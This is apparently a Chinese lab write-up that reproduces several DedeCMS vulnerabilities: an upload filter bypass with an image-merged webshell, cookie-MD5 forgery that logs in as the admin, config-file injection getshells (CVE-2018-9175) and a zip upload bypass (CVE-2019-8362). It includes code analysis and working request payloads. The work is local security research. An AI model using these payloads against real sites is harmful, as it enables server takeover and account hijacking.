原文链接:搭建dedecms漏洞靶场练习环境(下)
前台文件上传漏洞漏洞分析漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php 而上传文件存在全局过滤/include/uploadsafe.inc.php - #/include/uploadsafe.inc.php
- $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
- if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
- {
- if(!defined('DEDEADMIN'))
- {
- exit('Not Admin Upload filetype not allow !');
- }
- }
- $imtypes = array
- (
- "image/pjpeg", "image/jpeg", "image/gif", "image/png",
- "image/xpng", "image/wbmp", "image/bmp"
- );
- if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
- {
- $image_dd = @getimagesize($_key);
- if (!is_array($image_dd))
- {
- exit('Upload filetype not allow !');
- }
- }
复制代码 可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
- $imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|":]{1,}#", '', $imgfile_name));
- if(!preg_match("#\.(".$cfg_imgtype.")#i", $imgfile_name)) #$cfg_imgtype = 'jpg|gif|png';
- {
- ShowMsg("你所上传的图片类型不在许可列表,请更改系统对扩展名限定的配置!", "-1");
- exit();
- }
复制代码
再次过滤了图片名,并且再次判断如上三种文件类型是否存在其中。这么一次过滤,直接粗暴的将一些特殊字符替换为空,那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制,比如文件名为1.jpg.p*hp。
漏洞复现登录test1用户,点击内容中心
需要邮箱认证,这里因为在本地复现就直接给一个正常发文的权限即可
登入管理员后台修改为正常使用状态
再点击内容中心即可
然后准备一个一句话木马
先尝试下直接上传php改type
发现返回为filetyoe not allow,可能不行
这里尝试混淆文件名,也拦截了
这里我直接上传一个图片马,然后能够上传成功
copy 1.jpg/b + 2.php/a 3.jpg
访问一下也能够访问到
连接一下发现返回数据为空,这里排查了下问题是因为上传的后缀名为jpg所以不能够解析
使用图片马更改后缀名即可
蚁剑连接即可
用post传参把phpinfo()打出来
DedeCMS任意用户登录漏洞原理dedecms的会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5,用做签名。主页存在逻辑漏洞,导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。
代码分析在/member/index.php中会接收uid和action参数。uid为用户名,进入index.php后会验证Cookie中的用户ID与uid(用户名)并确定用户权限
- if($action == '')
- {
- include_once(DEDEINC."/channelunit.func.php");
- $dpl = new DedeTemplate();
- $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
- //更新最近访客记录及站点统计记录
- $vtime = time();
- $last_vtime = GetCookie('last_vtime');
- $last_vid = GetCookie('last_vid');
- if(empty($last_vtime))
- {
- $last_vtime = 0;
- }
- if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
- {
- if($last_vid!='')
- {
- $last_vids = explode(',',$last_vid);
- $i = 0;
- $last_vid = $uid;
- foreach($last_vids as $lsid)
- {
- if($i>10)
- {
- break;
- }
- else if($lsid != $uid)
- {
- $i++;
- $last_vid .= ','.$last_vid;
- }
- }
- }
- else
- {
- $last_vid = $uid;
- }
- PutCookie('last_vtime', $vtime, 3600*24, '/');
- PutCookie('last_vid', $last_vid, 3600*24, '/');
复制代码
我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。 那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。 而在接下来会验证用户是否登录。 现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php - //php5构造函数
- function __construct($kptime = -1, $cache=FALSE)
- {
- global $dsql;
- if($kptime==-1){
- $this->M_KeepTime = 3600 * 24 * 7;
- }else{
- $this->M_KeepTime = $kptime;
- }
- $formcache = FALSE;
- $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
- $this->M_LoginTime = GetCookie("DedeLoginTime");
- $this->fields = array();
- $this->isAdmin = FALSE;
- if(empty($this->M_ID))
- {
- $this->ResetUser();
- }else{
- $this->M_ID = intval($this->M_ID);
- if ($cache)
- {
- $this->fields = GetCache($this->memberCache, $this->M_ID);
- if( empty($this->fields) )
- {
- $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
- } else {
- $formcache = TRUE;
- }
- } else {
- $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
- }
- if(is_array($this->fields)){
- #api{{
- if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
- {
- if($data = uc_get_user($this->fields['userid']))
- {
- if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
- {
- $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
- $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
- }
- }
- }
- #/aip}}
- //间隔一小时更新一次用户登录时间
- if(time() - $this->M_LoginTime > 3600)
- {
- $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
- PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
- }
- $this->M_LoginID = $this->fields['userid'];
- $this->M_MbType = $this->fields['mtype'];
- $this->M_Money = $this->fields['money'];
- $this->M_UserName = FormatUsername($this->fields['uname']);
- $this->M_Scores = $this->fields['scores'];
- $this->M_Face = $this->fields['face'];
- $this->M_Rank = $this->fields['rank'];
- $this->M_Spacesta = $this->fields['spacesta'];
- $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
- $scrow = $dsql->GetOne($sql);
- $this->fields['honor'] = $scrow['titles'];
- $this->M_Honor = $this->fields['honor'];
- if($this->fields['matt']==10) $this->isAdmin = TRUE;
- $this->M_UpTime = $this->fields['uptime'];
- $this->M_ExpTime = $this->fields['exptime'];
- $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
- if($this->M_Rank>10 && $this->M_UpTime>0){
- $this->M_HasDay = $this->Judgemember();
- }
- if( !$formcache )
- {
- SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
- }
- }else{
- $this->ResetUser();
- }
- }
- }
复制代码 $this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数
- if ( ! function_exists('GetCookie'))
- {
- function GetCookie($key)
- {
- global $cfg_cookie_encode;
- if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
- {
- return '';
- }
- else
- {
- if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
- {
- return '';
- }
- else
- {
- return $_COOKIE[$key];
- }
- }
- }
- }
复制代码
它不但读了cookie还验证了md5值。
这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。
可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户
Dedecms V5.7后台的两处getshell(CVE-2018-9175)漏洞成因后台写配置文件过滤不足导致写shell
代码分析第一个
在/dede/sys_verifies.php中的第152行处
- else if ($action == 'getfiles')
- {
- if(!isset($refiles))
- {
- ShowMsg("你没进行任何操作!","sys_verifies.php");
- exit();
- }
- $cacheFiles = DEDEDATA.'/modifytmp.inc';
- $fp = fopen($cacheFiles, 'w');
- fwrite($fp, '<'.'?php'."\r\n");
- fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
- $dirs = array();
- $i = -1;
- $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
- foreach($refiles as $filename)
- {
- $filename = substr($filename,3,strlen($filename)-3);
- if(preg_match("#^dede/#i", $filename))
- {
- $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
- } else {
- $curdir = GetDirName($filename);
- }
- if( !isset($dirs[$curdir]) )
- {
- $dirs[$curdir] = TestIsFileDir($curdir);
- }
- $i++;
- fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
- }
- fwrite($fp, '$fileConut = '.$i.';'."\r\n");
- fwrite($fp, '?'.'>');
- fclose($fp);
复制代码
可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。 dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量 - function _RunMagicQuotes(&$svar)
- {
- if(!get_magic_quotes_gpc())
- {
- if( is_array($svar) )
- {
- foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
- }
- else
- {
- if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
- {
- exit('Request var not allow!');
- }
- $svar = addslashes($svar);
- }
- }
- return $svar;
- }
- if (!defined('DEDEREQUEST'))
- {
- //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
- function CheckRequest(&$val) {
- if (is_array($val)) {
- foreach ($val as $_k=>$_v) {
- if($_k == 'nvarname') continue;
- CheckRequest($_k);
- CheckRequest($val[$_k]);
- }
- } else
- {
- if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) )
- {
- exit('Request var not allow!');
- }
- }
- }
- //var_dump($_REQUEST);exit;
- CheckRequest($_REQUEST);
- CheckRequest($_COOKIE);
- foreach(Array('_GET','_POST','_COOKIE') as $_request)
- {
- foreach($_request as $_k => $_v)
- {
- if($_k == 'nvarname') ${$_k} = $_v;
- else ${$_k} = _RunMagicQuotes($_v);
- }
- }
- }
复制代码
上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作 $filename = substr($filename,3,strlen($filename)-3);去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。 此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php 第二个 同样是写配置文件,位于/dede/sys_cache_up.php - else if($step == 2)
- {
- include_once(DEDEINC."/enums.func.php");
- WriteEnumsCache();
- //WriteAreaCache(); 已过期
- ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
- exit();
- }
复制代码 跟进WriteEnumsCache()
- function WriteEnumsCache($egroup='')
- {
- global $dsql;
- $egroups = array();
- if($egroup=='') {
- $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
- }
- else {
- $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
- }
- $dsql->Execute('enum');
- while($nrow = $dsql->GetArray('enum')) {
- $egroups[] = $nrow['egroup'];
- }
- foreach($egroups as $egroup)
- {
- $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
- $fp = fopen($cachefile,'w');
- fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
- $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
- $dsql->Execute('enum');
- $issign = -1;
- $tenum = false; //三级联动标识
- while($nrow = $dsql->GetArray('enum'))
- {
- fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
- if($issign==-1) $issign = $nrow['issign'];
- if($nrow['issign']==2) $tenum = true;
- }
- if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
- fwrite($fp,'?'.'>');
- fclose($fp);
- if(empty($issign)) WriteEnumsJs($egroup);
- }
- return '成功更新所有枚举缓存!';
- }
复制代码
可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
将shell写进数据库中
https://192.168.10.3/DedeCMS/upl ... amp;egroup=;phpinfo();//&islogin=1
漏洞复现因为包含是在同一个文件,所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
DedeCMS 后台文件上传getshell(CVE-2019-8362)漏洞成因上传zip文件解压缩对于文件名过滤不周,导致getshell
代码分析/dede/album_add.php 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数:
- function GetMatchFiles($indir, $fileexp, &$filearr)
- {
- $dh = dir($indir);
- while($filename = $dh->read())
- {
- $truefile = $indir.'/'.$filename;
- if($filename == "." || $filename == "..")
- {
- continue;
- }
- else if(is_dir($truefile))
- {
- $this->GetMatchFiles($truefile, $fileexp, $filearr);
- }
- else if(preg_match("/\.(".$fileexp.")/i",$filename))
- {
- $filearr[] = $truefile;
- }
- }
- $dh->close();
- }
复制代码
可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过
2.5.3 漏洞复现
生成一个1.php并改名为1.jpg.php
<?php phpinfo();?>
将文件压缩为1.zip
找到文件式管理器下的soft目录
将压缩文件上传
访问album_add.php
http://192.168.10.3/DedeCMS/Drunkmars/album_add.php
选择从zip包中解压图片
发布后点击预览文档
点击上传的包
即可打出phpinfo()
|